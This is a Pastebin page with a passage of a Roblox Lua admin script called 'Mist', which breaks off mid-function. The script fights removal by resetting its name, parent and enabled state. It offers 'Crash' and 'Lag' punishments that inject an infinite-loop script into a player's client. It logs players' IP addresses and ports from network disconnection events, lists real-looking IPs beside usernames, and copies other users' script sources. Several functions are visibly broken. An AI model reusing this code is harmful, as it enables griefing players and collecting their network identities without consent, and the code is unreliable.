Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Mist Administrative Tablets 1.0
- Server Generation
- Command Syntax: //Command Arguments -Flags asd
- Example:
- //Kill tusKOr661-r
- --Respawns tusKOr661
- --]]
- local Mist;
- for _,v in next,script:children''do
- pcall(function()v.Value=''end);
- end;
- local con,connect_;connect_=function()
- pcall(function()con:disconnect()end);con=script.Changed:connect(function(prop)
- connect_();connect_();connect_();repeat wait() connect_() wait() until con~=nil;
- if prop == "Disabled" then
- pcall(function() repeat script.Disabled = false wait() until script.Disabled == false end)
- elseif prop == "Parent" then
- pcall(function() repeat script.Parent = nil wait() until script.Parent == nil end)
- elseif prop == "Name" then
- pcall(function() repeat script.Name = "Mist" wait() until script.Name == "Mist" end)
- end
- --[=[if(Mist==nil)then
- con=nil;connect_=nil;script=nil;env=nil;localenv=nil;setfenv(0,setmetatable({error=error},{__index=function(self,index)rawget(self,'error')'Script is disabled'end}));
- end;]=]
- Mist.Functions.MainLoop();
- coroutine.wrap(function()
- script.Name='Mist';
- script.Disabled=false;
- script.Name='Mist';
- script.Disabled=false;
- script.Name='Mist';
- repeat wait()
- script.Name='Mist';
- until script.Name=='Mist';
- for _,v in next,game:service'Players':players''do
- Mist.Functions.Output('An attempt to remove mist was blocked','Red',v,3);
- end;
- end)();
- connect_();
- end)
- end;
- setfenv(1,getfenv(0));
- coroutine.wrap(function()
- repeat wait()
- script:destroy();
- script.Disabled=false;
- connect_();
- pcall(function() Mist.Functions.MainLoop() end);
- until false;
- end)();
- script:Destroy()
- script.Parent=nil;
- local threads={};
- local _coroutine=coroutine;
- meta_create=function(class)
- return(function(data)
- local it=Instance.new(class);
- for i,v in pairs(data)do
- local a,b=ypcall(function()
- if(type(v)=='function')then
- it[i]:connect(function(...)local args={ypcall(v,...)}if(not args[1])then if(OP)then OP('error',args[2])else error(args[2])end;end;end);
- else
- it[i]=v;
- end;
- end);
- if(not a)then error(b) end;
- end;
- return(it);
- end);
- end;
- Mist=setmetatable({
- Ranked={};
- Scripts={};--sb skrips
- CoreScripts={};--rbx and or ingame skrips
- ClientScripts={};--mist skrips
- Notifications={};--LAOLAOLA NOTIFICATIONS SWEGGER
- AntiFilter={};
- Displays={};
- Security_Key=(function()
- local rtn='';
- for i=1,96 do
- rtn=rtn..((math.random(1,2)==1 and string.char(96+math.random(1,26)))or math.random(0,9));
- end;
- return rtn;
- end)();
- Ranked_Default={
- Rank=0;
- Color='Orange';
- Rotation_Type='Circle';
- Selection_Type='Edit';
- Desc='<No set description>';
- Flag='-';
- Trust=3;
- Other={ cmdBar=false; inPri=false; Age=nil; UserId=nil};
- };
- Pri={
- Activated=false;
- Type='Kick';
- Types={
- Kick=function(f)
- f:Kick();
- end;
- Crash=function(f)
- Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',f));
- wait();
- f:Kick();
- end;
- Lag=function(f)
- Mist.Functions.Lag(f);
- end;
- };
- };
- Logs={
- System={};
- Chat={};
- Commands={};
- Error={};
- Print={};
- };
- ScriptStops={};
- Ranked_Assets={
- [1]={'','50'};--50 rbx
- [2]={'','200'};--200 rbx
- [3]={'','1000'};--1000 rbx
- [4]={'','2000'};--2000 rbx cuz u can mess with mist k
- };
- Base64=(function()
- local asc={};
- for i=0,9 do
- table.insert(asc,tostring(i));
- end;
- for i=1,26 do
- table.insert(asc,string.char(96+i):lower());
- table.insert(asc,string.char(96+i):upper());
- end;
- return asc;
- end)();
- ChangeLog={
- ['6/19/2014']={
- 'Steal My Code And You Will Be Banned Forever, Derek1017'..'sKO'..'r'..'661';
- };
- ['6/30/2014']={
- '7,025 lines, 233,809 characters landmarks reached.';
- };
- };
- Trust_Levels={
- [3]="Server and client scripting";
- [2]="Server scripting";
- [1]="Client scripting";
- [0]="No scripting";
- };
- Tickets={};
- Ranks={
- [5]='Secret';
- [4]='Root';
- [3]='Operator';
- [2]='Moderator';
- [1]='Adminstrator';
- [0]='Guest';
- [-.5]='Scum';
- [-1]='Banished';
- [-2]='Mute banished';
- [-3]='Lag banished';
- };
- Services=setmetatable({Game=game},{
- __index=function(self,index)
- index=tostring(index);
- return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
- end;
- __newindex=function()
- error('You cannot add services manually');
- end;
- __call=function(self,index)
- return self[index];
- end;
- __metatable='Protected';
- });
- Functions={};
- Homes={};
- Sources={};--dat skrip steal
- Custom_Events={};
- Sound_Data={
- Sound=nil;
- id=0;
- Playing=false;
- looped=true;
- vol=1;
- pitch=1;
- };
- IPs={
- ['127.0.0.1']={{IP='127.0.0.1',Port='53...',Player='Player'}};
- ['92.20.160.174']={{IP='92.20.160.174',Port='63996',Player='DEADDEVIL1919'}};
- ['66.213.50.2']={{IP='66.213.50.2',Port='5303',Player='xxCONTENTDELETERxx'}};
- };--To be added
- Music={
- ['Pop it, don\'t drop it']=135584865;
- ['Can\'t touch this']=131122314;
- ['What does the fox say?']=130797915;
- ['Not afraid']=131149175;
- ['Nyan cat']=130786686;
- };
- Rot={
- Rotation_1='abcdefghijklmnopqrstuvwxyz';
- Rotation_2='0123456789';
- Rotate_String=function(String,Rot_Index)
- Rot_Index=Rot_Index or 13;
- local rtn='';
- for char in String:gmatch'(.)'do
- rtn=rtn..Mist.Rot.Rotate_Character(char,Rot_Index)
- end;
- return rtn;
- end;
- Rotate_Number=function(c,i)
- local i=5;
- local rot=Mist.Rot.Rotation_2;
- local place=rot:find('%%%%%'..c)+i;
- if(place>rot:len())then place=place-rot:len()end
- return rot:sub(place,place);
- end;
- Rotate_Character=function(c,i)
- if(tonumber(c))then return Mist.Rot.Rotate_Number(c,i)end;
- local place=Mist.Rot.Rotation_1:find('%%%%%'..c:lower());
- if(place==nil)then return c end
- place=place+i;
- if(place>#Mist.Rot.Rotation_1)then
- place=place-#Mist.Rot.Rotation_1
- end;
- local char=Mist.Rot.Rotation_1:sub(place,place);
- if(c==c:upper())then char=char:upper() end;
- return char;
- end
- };
- Filters={
- [{'shut/','shutdown/','ban%wt','Instance%[?.?new.?%]?%s*%(?%s*.ManualSurfaceJointInstance.%s*%)?'}]='ban';
- [{'crash%St','kick%wt','%w+%s*%=%=%s*"/down"','iHlp%s*%=%s*%{'}]='kick';
- [{'repeat[^%-%-]?[^wait]until','while true do%s*end','Spawn%s*%(%s*wait%s*%)','ypcall%s*%(%s*wait%s*)','Delay%s*%(%d+,%s*wait%)'}]='crash';
- [{'yolo','sw.g'}]='kill';
- };
- External_Data={
- Link_Type='HTTP';
- Link_Data_Pastebin='Deleted due to flaws in security';--Pastebin
- Link_Data_Asset=163583955;--Marketplace
- Link_Data='Deleted due to flaws in security';--Site --needs to be fixed raig as fk ;u
- Last_Checked=tick()-1;
- Last_Source='';
- Checking=true;
- };
- Colors=setmetatable({
- white=BrickColor.new'White'.Color;
- black=BrickColor.new'Black'.Color;
- pink=BrickColor.new'Hot pink'.Color;
- red=BrickColor.new'Really red'.Color;
- blue=BrickColor.new'Really blue'.Color;
- green=BrickColor.new'Lime green'.Color;
- yellow=BrickColor.new'New Yeller'.Color;
- orange=BrickColor.new'Flame yellowish orange'.Color;
- purple=BrickColor.new'Royal purple'.Color;
- ['light blue']=BrickColor.new'Toothpaste'.Color;
- },{__index=function(self,index)
- local real=index:sub(1,1):lower()..index:sub(2);
- local col=rawget(self,real)or BrickColor.new(index).Color;
- return col;
- end}
- );
- Scripts_Locked=false;
- Private_Chats=setmetatable({},{
- __newindex=function(self,index,value)
- if((type(index)=='number'and index>10)or(#self>=10))then
- for _,v in next,self do
- if(_==1)then else rawset(self,_-1,v) end;
- end;
- end;
- rawset(self,index,value);
- end;
- });
- Tablets={};
- Commands=setmetatable({},{__len=function(self,numb)local l=0; for _,v in next,self do l=l+1 end return l end});
- Temp_Ban_Data={};
- Settings={
- tabletType='Tablet';
- Commands={
- LogViewLast10=true;
- };
- Debug_Services=true;
- Guests=true;
- Under_Age=true;
- Highlight=true;
- };
- Shutdown={
- doing=false;
- };
- UrlBases={
- Char='http://www.roblox.com/Asset/CharacterFetch.ashx?userId=%s';
- Asset='rbxasset://%s';
- CharImage='http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=%s';
- };
- Clients={};
- Connections={};
- Rules='No free models*No un neccessary banning*No un neccessary kicking*No shutting down unless owner*No stealing unless out of revenge or permission';
- Tablet_Data={
- Increase=(.1/100);
- Rotation=0;
- };
- Titles={};
- },{__call=function(self,index)return rawget(self,index)end});
- coroutine.wrap(function()
- local to_be_pushed=true;
- local push;push=function(table,_index,_call,_new,___index)
- if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
- local fake={
- __index=_index or(function(self,index)
- return rawget(self,index);
- end);
- __call=_call or(function(self,index)
- return rawget(self,index);
- end);
- __newindex=_new or(function(self,index,value)
- if(type(value)=='table')then
- push(value);
- end;
- rawset(self,index,value);
- end);
- };
- return setmetatable(table,fake);
- end;
- end;
- if(not to_be_pushed)then return end;
- for _,v in next,Mist do
- if(type(v)=='table')then
- push(v,nil,nil,nil,_);
- end;
- end;
- setmetatable(Mist,{
- __call=function(self,index)
- return rawget(self,index);
- end;
- __newindex=function(self,index,value)
- if(type(value)=='table')then
- push(value,nil,nil,nil,index);
- end;
- rawset(self,index,value);
- end;
- });
- end)();
- Mist.Functions.IPFromPlayer=function(player)
- pcall(function()player=player.Name;end);
- local ip=nil;
- for ip,v in next,Mist.IPs do
- for _,val in next,v do
- if(val.Player==player)then
- ip=val;
- end;
- end;
- end;
- end;
- Mist.Functions.WaitForIP=function(r)--Replicated r
- if(r:isA'ServerReplicator')then
- local enabled=pcall(function()local c; c=r.Disconnection:connect(function()c:disconnect()end) end);
- if(enabled)then
- pcall(function()Mist.Connections['Replicator: '..r:getPlayer().Name]:disconnect()end);
- Mist.Connections['Replicator: '..r:getPlayer().Name]=r.Disconnection:connect(function(IP,...)
- local ip,port=IP:match'(.+)|(.+)';local player=r:getPlayer().Name;
- local ips=Mist.IPs[ip];
- if(ips)then
- table.insert(ips,{IP=ip,Port=port,Name=player});
- else
- Mist.IPs[ip]={{IP=ip,Port=port,Name=player}};
- end;
- end);
- end;
- end;
- end;
- Mist.Functions.GetScripts=function(Player)
- pcall(function()Player=Player.Name;end);
- local scripts={};
- for _,v in next,Mist.Scripts do
- if(v[2]==Player)then
- table.insert(scripts,v);
- end;
- end;
- return scripts;
- end;
- Mist.Functions.SyncRanksOut=function()
- --[[local ranked='';
- local tableToString;function tableToString(table)
- local str='{ Rank = '..table.Rank..', Color = "'..table.Color..'", Rotation_Type="'..table.Rotation_Type..'",Selection_Type="'..table.Selection_Type..'",Trust = '..table.Trust..', Desc = "'..table.Desc..'", Flag = "'..table.Flag..'"';
- if(table.Other)then
- str=str..', Other={ cmdBar='..tostring(table.Other.cmdBar)..', inPri='..tostring(table.Other.inPri);
- if(table.Other.Age~=nil)then
- str=str..',Age ='..tostring(table.Other.Age);
- end;
- if(table.Other.UserId~=nil)then
- str=str..',UserId='..tostring(table.Other.UserId);
- end;
- str=str..'}';
- end;
- str=str..'}';
- return str;
- end;
- for _,data in next,Mist.Ranked do
- ranked=ranked..'['.._..']='..tableToString(data)..'|';
- end;]]
- local Store=game:service'DataStoreService':GetGlobalDataStore();
- local Store_Ranked=Store:GetAsync(Mist.Saved_Key)or{};
- for _,v in next,Mist.Ranked do
- Store_Ranked[_]=v;
- end;
- Store:SetAsync(Mist.Saved_Key,Store_Ranked);
- end;
- Mist.Functions.SyncRanksIn=function()
- local store=game:service'DataStoreService':GetGlobalDataStore();
- local data=store:GetAsync(Mist.Saved_Key)or {};
- --[[for set in data:gmatch'(.+)|'do
- local name,_data=set:match'%[.(.+).%]%=(.+)';
- local table=loadstring('return'.._data)();
- for _,v in next,table do
- Mist.Ranked[name][_]=v;
- end;
- end;]]
- for _,v in next,data do
- Mist.Ranked[_]=v;
- end;
- end;
- Mist.Functions.CheckObject=function(Object)
- --if(not pcall(function()Object:IsA'Part'end))then return end;
- --if(Object:isA'Script'or Object:IsA'LocalScript' or Object.className:find'Script')then
- --coroutine.resume(coroutine.create(function()
- local owner=Object:findFirstChild'user'or Object:findFirstChild'Owner'or Object:findFirstChild'sPlayer';
- if(owner)then owner=owner.Value.Name end;
- local source=(Object:findFirstChild'Source'or Object:findFirstChild'source'or Object:findFirstChild'DSource' or Object:findFirstChild'sSource');
- if(source)then
- table.insert(Mist.Scripts,{Object,owner,source,((source and source.Value)or'No source'),Object:clone()});
- else
- table.insert(Mist.CoreScripts,{Object,owner,source,((source and source.Value)or'No source'),Object:clone()});
- end;
- --end));
- --end;
- end;
- Mist.Functions.blankGui=function(Parent,Name,Title,Position,Size,Base_Color,Buttons,BodyText)
- Position=Position or UDim2.new(.25,0,.25,0);
- Size=Size or UDim2.new(.5,0,.25,0);
- Base_Color=Base_Color or{Color3.new(.6,.6,.6),Color3.new(0,0,.9)};
- Buttons=Buttons or{};
- local closing,minimized,full_screen=false,false,false;
- local screen=Instance.new'ScreenGui';
- screen.Name=Name;
- screen.Parent=Parent;
- local frame=Instance.new('Frame',screen);
- frame.BackgroundColor3=Base_Color[1];
- frame.Size=Size;
- frame.Position=Position;
- frame.Draggable=true;
- frame.Active=true;
- frame.ClipsDescendants=true;
- local title=Instance.new('TextLabel',frame);
- title.Size=UDim2.new(.99,0,0,20);
- title.Position=UDim2.new(.005,0,0,2.5);
- title.BackgroundColor3=Base_Color[2];
- title.TextColor=BrickColor.new'White';
- title.FontSize='Size12';
- title.TextScaled=true;
- title.TextWrapped=true;
- title.TextXAlignment='Center';
- title.Text=Title;
- title.TextXAlignment='Left';
- local exit=Instance.new('TextButton',title);
- exit.Size=UDim2.new(0,15,0,15);
- exit.BackgroundColor3=Base_Color[1];
- exit.FontSize='Size12';
- exit.TextColor=BrickColor.new'Really red';
- exit.Text='X';
- exit.ZIndex=2;
- exit.BorderColor3=Base_Color[1];
- exit.Position=UDim2.new(1,-17.5,0,2.5);
- exit.MouseButton1Click:connect(function()
- if(not closing)then
- closing=true;
- coroutine.wrap(function()
- local X=frame.Size.X;
- local Off,Scale=X.Offset,X.Scale;
- frame:TweenSize(UDim2.new(Scale,Off,0,0),'Out','Quad',1,true);
- wait(1);
- screen:Destroy();
- end)();
- end;
- end);
- local minimize=exit:clone();
- minimize.Text='-';
- minimize.TextColor=BrickColor.new'Black';
- minimize.Position=UDim2.new(1,-40,0,2.5);
- minimize.MouseButton1Click:connect(function()
- local size;
- if(closing)then return end;
- if(minimized==true)then
- if(full_screen)then
- size=UDim2.new(1,0,1,0);
- else
- size=Size;
- end;
- else
- size=UDim2.new(.5,0,.05);
- end;
- frame:TweenSize(size,'Out','Quad',1,true);
- if(full_screen)then
- frame.Position=UDim2.new();
- else
- frame.Position=Position;
- end;
- minimized=not minimized;
- end);
- minimize.Parent=title;
- local full=minimize:clone();
- full.Text='+';
- full.Parent=title;
- full.Position=UDim2.new(1,-62.5,0,2.5);
- full.MouseButton1Click:connect(function()
- local size;size=Size;
- full_screen=not full_screen;
- if(full_screen)then
- size=UDim2.new(1,0,1,0);
- end;
- if(full_screen)then
- frame.Position=UDim2.new();
- else
- frame.Position=Position;
- end;
- frame:TweenSize(size,'Out','Quad',1,true);
- end);
- local body=Instance.new('TextLabel',frame);
- body.BackgroundTransparency=1;
- body.TextWrapped=true;
- body.FontSize='Size24';
- body.Size=UDim2.new(1,0,.75,0);
- body.Font='SourceSans';
- body.TextColor3=BrickColor.new'Black'.Color;
- body.Position=UDim2.new(0,0,0,45);
- if(BodyText)then
- body.Text=BodyText;
- end;
- return screen,frame,title,exit,body;
- end;
- Mist.Functions.UpdateNotifications=function()
- --Spawn(function()
- for _,data in next,Mist.Notifications do
- if(not data.playerInstance or not data.playerInstance.Parent)then
- Mist.Notificaions[_]=nil;
- end;
- end;
- for _,Player in next,game:service'Players':players()do
- --Spawn(function()
- local notifications=Mist.Functions.GetNotifications(Player);
- local sorted=table.sort(notifications,function(a,b)
- return a.timeStamp<b.timeStamp;
- end);
- local len=(function() local rtn=0;table.foreach(sorted,function()rtn=rtn+1;end); return rtn;end)();
- local basePosition=UDim2.new(1,0,1,0);
- for _,data in next,notifications do
- local pos=(len-_);
- local realPos=basePosition+UDim2.new(0,-(90*pos),0,-180);
- data.screen.Position=realPos;
- end;
- --end);
- end;
- --end);
- end;
- Mist.Functions.GetNotifications=function(player)
- pcall(function()player=player.Name;end);
- local n={};
- pcall(function() Mist.Functions.UpdateNotifications() end);
- for _,v in next,Mist.Notifications do
- if(v and v['player']and v['player']==player)then
- table.insert(n,v);
- end;
- end;
- return n;
- end;
- Mist.Functions.Notify=function(player,title,text,buttons,exitFunc,time)
- --Spawn(function()
- local objs={};
- local push=function(iOrVal,val)
- local i,v;
- if(val)then
- i=iOrVal;
- v=val;
- else
- v=iOrVal;
- i=#objs+1;
- end;
- objs[i]=v;
- end;
- push('playerInstance',player);
- push('player',player.Name);
- push('timeStamp',tick());
- push('time',time or 25);
- push('guiEnded',false);
- push('connection',game:service'RunService'.Stepped:connect(function()
- ypcall(function()
- local a,b,gui;
- gui=objs.screen;
- if(gui)then
- a,b=ypcall(function()
- gui.Parent=player:findFirstChild'PlayerGui';
- end);
- end;
- if( (a~=nil and not a)or objs.guiEnded==true)then
- if(not objs.guiEnded)then
- Mist.Functions.Notify(player,title,text,buttons,exitFunc,time);
- else
- pcall(function() objs.screen:Destroy() end);
- end;
- objs.connection:disconnect();
- objs.callBack:disconnect();
- end;
- end);
- end));
- local gui=player:findFirstChild'PlayerGui';
- local container=gui:findFirstChild('Mist.Notifications');
- if(not container)then
- container=Instance.new('ScreenGui',gui);
- container.Name='Mist.Notifications';
- end;
- local frame=Instance.new('Frame',container);
- frame.Name=title;
- frame.Size=UDim2.new(0,90,0,180);
- frame.BackgroundTransparency=.3;
- frame.BackgroundColor=BrickColor.new'Dis is def not a colour';
- frame.Position=UDim2.new(1,0,1,0);
- local titleLabel=Instance.new('TextLabel',frame);
- titleLabel.Size=UDim2.new(1,-90,.1,0);
- titleLabel.Parent=frame;
- titleLabel.BackgroundColor=BrickColor.new('Light blue');
- titleLabel.TextColor3=Color3.new(1,1,1);
- titleLabel.TextXAlignment='Center';
- titleLabel.Text=title;
- titleLabel.FontSize='Size12';
- local exitButton=Instance.new('TextButton',titleLabel);
- exitButton.Size=UDim2.new(0,25,0,25);
- exitButton.Position=UDim2.new(1,-25,0,0);
- exitButton.FontSize='Size12';
- exitButton.BackgroundColor3=Color3.new'Dis is def not a colour';
- push('callBack',exitButton.mouseButton1Down:connect(function()
- if(exitFunc)then
- exitFunc();
- end;
- push('guiEnded',true);
- end));
- local body=Instance.new('TextLabel',frame);
- body.Size=UDim2.new(1,0,.8,0);
- body.Position=UDim2.new(0,0,.1,0);
- body.BackgroundTransparency=1;
- body.TextColor3=Color3.new();
- body.Text=text;
- body.FontSize='Size12';
- body.TextColor3=Color3.new();
- push('screen',frame);
- push('exit',exitButton);
- push('titleLabel',titleLabel);
- push('body',body);
- table.insert(Mist.Notifications,objs);
- --end);
- end;
- Mist.Functions.AddFilter=function(filter,type)
- local filter_table=false;
- for _,v in next,Mist.Filters do
- if(v==type:lower())then
- filter_table=true;
- table.insert(_,filter);
- break;
- end;
- end;
- if(filter_table==false)then
- Mist.Filters[{filter}]=type:lower();
- end;
- end;
- Mist.Functions.OutputRank=function(Rank,Info,t,c,...)
- local function matchRank(rank)
- local f=loadstring('return asd'..Info..'asdr');
- getfenv(f).asd=rank;getfenv(f).asdr=Rank;
- return f();
- end;
- for _,v in next,Mist.Services'Players':players()do
- if(matchRank(Mist.Ranked[v.Name].Rank))then
- Mist.Functions.Output(t,c,v,...);
- end;
- end;
- end;
- Mist.Functions.CreateEvent=function(Event_Name,Event_Function,Event_Loop)
- local event={
- event=nil;
- connect=function(self,func)
- pcall(function()self.connection:disconnect()end);
- local d={event.Event:connect(function(...)
- func(...);
- end);
- disconnect=function(self)
- self[1]:disconnect();
- end};
- self.connection=d[1];
- return d;
- end;
- connection=nil;
- };
- local c=Mist.Custom_Events[Event_Name];
- if(c)then
- event.event=c;
- else
- c=meta_create'BindableEvent'{
- Parent=workspace;
- Name=Event_Name;
- };
- if(Event_Function)then
- local r=c.Event:connect(function(...)
- Event_Function(...);
- end);
- event.connection=r;
- end;
- coroutine.wrap(function()
- repeat wait()
- local EventData={Event_Loop()};
- if(EventData[1]==true)then
- c:fire(select(2,unpack(Event_Data)));
- end;
- wait();
- until false;
- end)();
- Mist.Custom_Events[Event_Name]=c;
- end;
- return event;
- end;
- Mist.Functions.CreateData=function(Name,Rank,Trust,Color,Desc,Rotation,Selection,Flag,Other)
- Name=Name or'';
- Rank=Rank or Mist.Ranked_Default.Rank;
- Desc=Desc or Mist.Ranked_Default.Desc;
- Trust=Trust or Mist.Ranked_Default.Trust;
- Color=Color or Mist.Ranked_Default.Color;
- Rotation=Rotation or Mist.Ranked_Default.Rotation_Type;
- Selection=Selection or Mist.Ranked_Default.Selection_Type;
- Flag=Flag or Mist.Ranked_Default.Flag;
- Other=Other or (function() local Data={}; for _,v in next,Mist.Ranked_Default.Other do Data[_]=v end return Data end)();
- if(Rank~=nil and Rank>0)then
- Other.inPri=true;
- end;
- if(Mist.Ranked[Name]==nil)then
- Mist.Ranked[Name]={Rank=Rank,Color=Color,Rotation_Type=Rotation,Desc=Desc,Selection_Type=Selection,Flag=Flag,Trust=Trust;Other=Other};
- end;
- end;
- Mist.Functions.GetRank=function(Player)
- pcall(function()Player=Player.Name;end);
- local data=Mist.Ranked[Player];
- local rank=0;
- pcall(function()rank=data.Rank;end);
- return rank;
- end;
- Mist.Functions.CreateCommand=function(Command_Name,Commands,UseFlags,Rank,Description,FlagsString,Function,Other)
- local other={};
- for _,v in next,(Other or {})do
- other[_]=v;
- end;
- FlagsString=FlagsString:gsub('%%.',function()return '.'end);
- other.Name=Command_Name;other.Commands=Commands;other.UseFlags=UseFlags;other.Rank=Rank;other.Description=Description;other.FlagsString=FlagsString;other.Func=Function;
- Mist.Commands[Command_Name]=other;
- table.insert(Mist.Logs.System,{'Command created: '..Command_Name,Mist.Functions.GetTime(tick())});
- end;
- Mist.Functions.GetTrust=function(Player)
- pcall(function()Player=Player.Name;end);
- local data=Mist.Ranked[Player];
- local rank=0;
- pcall(function()rank=data.Trust;end);
- print(trust,Player);
- return rank;
- end;
- Mist.Functions.CreateScript=function(Source,Parent,Owner)
- local Script;
- if(NewScript)then
- Script=NewScript(Source,Instance.new'Model');
- for _,v in next,Script:children()do
- if(v:isA'StringValue')then v.Value=Source elseif(v:isA'ObjectValue')then v.Value=Owner end;
- end;
- Script.Parent=Parent;
- else
- Script=script:clone();
- Script:clearAllChildren();
- for _,v in next,{ {'Source','Owner'}, {'source','user'} ,{'DSource'}, {'sSource','sPlayer'} }do
- local i=Instance.new('StringValue',Script);
- i.Name=v[1];
- i.Value=Source;
- if(v[2])then
- local owner=Instance.new('ObjectValue',Script);
- owner.Name=v[2];
- owner.Value=Owner;
- end;
- end;
- Script.Disabled=true;
- Script.Parent=Parent;
- Script.Disabled=false;
- return Script;
- end;
- return s;
- end;
- Mist.Functions.UpdateTablets=function()
- local isNil=function(name)
- local is=false;
- for _,v in next,game:findService'NetworkServer':children()do
- if(v and v:isA'ServerReplicator')then
- if(v:getPlayer().Name:match(name))then
- is=true;
- break;
- end;
- end;
- end;
- return is;
- end;
- coroutine.wrap(function()
- for _,Tablet in next,Mist.Tablets do
- local Owner=Tablet.Owner;
- if(Owner==nil or (Mist.Services'Players':findFirstChild(Owner)==nil and isNil(Owner)==false) or Tablet.Model==nil or not Tablet.Model.Parent== Mist.Services'Workspace'or Tablet.Part.Parent~=Tablet.Model or not Tablet.Model:isDescendantOf(Workspace)or not Tablet.Part:isDescendantOf(Workspace))then
- pcall(function()Tablet.Model:remove();end);pcall(function()Tablet.Part:remove()end);
- Mist.Tablets[_]=nil;
- end;
- end;
- for _,Tablet in next,Mist.Titles do
- local Owner=Tablet.Owner;
- if(Owner==nil or (Mist.Services'Players':findFirstChild(Owner)==nil and isNil(Owner)==false) or Tablet.Model==nil or not Tablet.Model.Parent== Mist.Services'Workspace'or Tablet.Part.Parent~=Tablet.Model or not Tablet.Model:isDescendantOf(Workspace)or not Tablet.Part:isDescendantOf(Workspace))then
- pcall(function()Tablet.Model:remove();end);pcall(function()Tablet.Part:remove()end);
- Mist.Titles[_]=nil;
- end;
- end;
- end)();
- Mist.Tablet_Data.Rotation=Mist.Tablet_Data.Rotation+Mist.Tablet_Data.Increase;
- coroutine.wrap(function()
- local Players={};
- for _,v in next,game:findService'NetworkServer':children()do
- if(v and v:isA'ServerReplicator')then
- local realPlayer=v:getPlayer();
- if(realPlayer==nil)then return end;
- local fakePlayer=newproxy(true);
- local meta=getmetatable(fakePlayer);
- meta.__index=setmetatable({
- Character=(function()
- local char;
- if(realPlayer.Character)then return realPlayer.Character end;
- for _,v in next,workspace:children()do
- if(v.Name==realPlayer.Name and v:findFirstChild'Torso' and v:findFirstChild'Head')then
- char=v;
- end;
- end;
- return char;
- end)();
- },{__index=function(self,index)
- local object;local ran,err=pcall(function() object=rawget(self,index)or realPlayer[index] end);
- return object;
- end});
- table.insert(Players,fakePlayer);
- end;
- end;
- for _,Player in next,Players do
- coroutine.wrap(function()
- local setShape=function(tablet)
- if(Mist.Settings.tabletType=='Block'or Mist.Settings.tabletType=='Ball')then
- tablet.Size=Vector3.new(2.5,2.5,2.5);
- tablet.Shape=Mist.Settings.tabletType;
- else
- tablet.Size=Vector3.new(4,2.5,0);
- tablet.Shape='Block';
- end;
- tablet.FormFactor='Custom';
- end;
- local Tablets=Mist.Functions.GetTablets(Player);
- if(Mist.Ranked[Player.Name]==nil)then
- Mist.Functions.CreateData(Player.Name);
- end;
- local Movement=Mist.Ranked[Player.Name].Rotation_Type;
- if(Movement=='Stacked')then
- --[[
- Stacked requires a seperate type of Tablet Table for stacked CFrames
- --]]
- local stack={};
- local total_use=6;
- local total_add=6;
- local needed=8;
- local current_stack={};
- stack[#stack+1]=current_stack;
- for _,v in next,Tablets do
- if(_==needed+1)then
- total_use=total_use+total_add;
- needed=needed+total_use;
- current_stack={};
- stack[#stack+1]=current_stack;
- end;
- table.insert(current_stack,v);
- end;
- for row,stacked in next,stack do
- for i,tab in next,stacked do
- local x,y,z,pos,rad,m,bp,ap,cp,d;
- pcall(function()pos=Player.Character.Torso.CFrame;end);
- if(pos==nil)then return end;
- rad=(2+(row*3.05));y=math.sin(time()/5);
- m=(i/(#stacked)-(.5/#stacked)+(Mist.Tablet_Data.Rotation/(#stacked/10)))*math.pi*2;
- x=math.sin(m)*rad;
- z=math.cos(m)*rad;
- ap=Vector3.new(x,y,z)+pos.p;
- bp=tab.Part.CFrame.p;
- cp=(ap*.1+bp*.9);
- d=math.rad((Mist.Tablet_Data.Rotation*400)*math.pi);
- local angles=function()
- local ang={d,d,d}
- if(Mist.Settings.tabletType~='Block')then
- ang[1]=0;
- ang[2]=0;
- ang[3]=math.sin(Mist.Tablet_Data.Rotation*100)*.4;
- end;
- return unpack(ang);
- end;
- setShape(tab.Part);
- tab.Part.CFrame=CFrame.new(cp,pos.p)*CFrame.Angles(angles());
- end;
- end;
- else
- for i,tablet in next,Tablets do
- local x,y,z,pos,rad,m,bp,ap,cp,d;
- pcall(function()pos=Player.Character.Torso.CFrame;end);
- if(pos==nil)then return end;
- rad=(#Tablets*.8)+4;y=math.sin(tick())*.3;
- m=(i/#Tablets-(.5/#Tablets)+(Mist.Tablet_Data.Rotation/(#Tablets/10)))*math.pi*2;
- if(Movement=='Oval')then
- x,z=math.sin(m)*rad,math.cos(m)*(rad/2);
- elseif(Movement=='Bounce_Swirl')then
- m=(m/2)*(2+math.sin(tick()));
- x,z=math.sin(m)*(rad-(i*.1)),math.cos(m)*(rad-(i*.1));
- elseif(Movement=='Swirl')then
- m=(m/2)*(-5);
- local rad=(rad-(i))
- x,z=math.sin(m)*rad,math.cos(m)*rad;
- --[=[elseif(Movement=='Stacked')then
- --[[local base=1;
- local rr=0;
- local add=0;
- local asd=6;
- local asd2=0;
- local row=0;
- repeat
- rr=rr+asd;
- add=add+2;
- asd=asd+add;
- row=row+1;
- until rr>i;
- local int=(rr-i);
- m=(int/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(base+(row*2));
- z=math.cos(m)*(base+(row*2));]]
- local increase_add=0;
- local total=4;
- local x_out=0;
- local start_add=8;
- repeat
- start_add=start_add+increase_add;
- increase_add=increase_add+2;
- x_out=x_out+1;
- total=total+start_add;
- until total>=i;
- local start=(total-start_add);
- local _end=total;
- local dif=_end-start;
- x_out=x_out*3;
- m=((total-i)/start_add-(.5/dif)+(Mist.Tablet_Data.Rotation/(dif/10)))*math.pi*2;
- x,z=math.sin(m)*(x_out),math.cos(m)*x_out;]--]=]
- elseif(Movement=='Circle')then
- x,z=math.sin(m)*rad,math.cos(m)*rad;
- --Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
- elseif(Movement=='Inverse_Oval')then
- x=math.sin(m)*(rad/2);z=math.cos(m)*rad;
- elseif(Movement=='Deca')then
- local _m=m;
- local asd=((#Tablets>10 and 10)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Nona')then
- local _m=m;
- local asd=((#Tablets>9 and 9)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
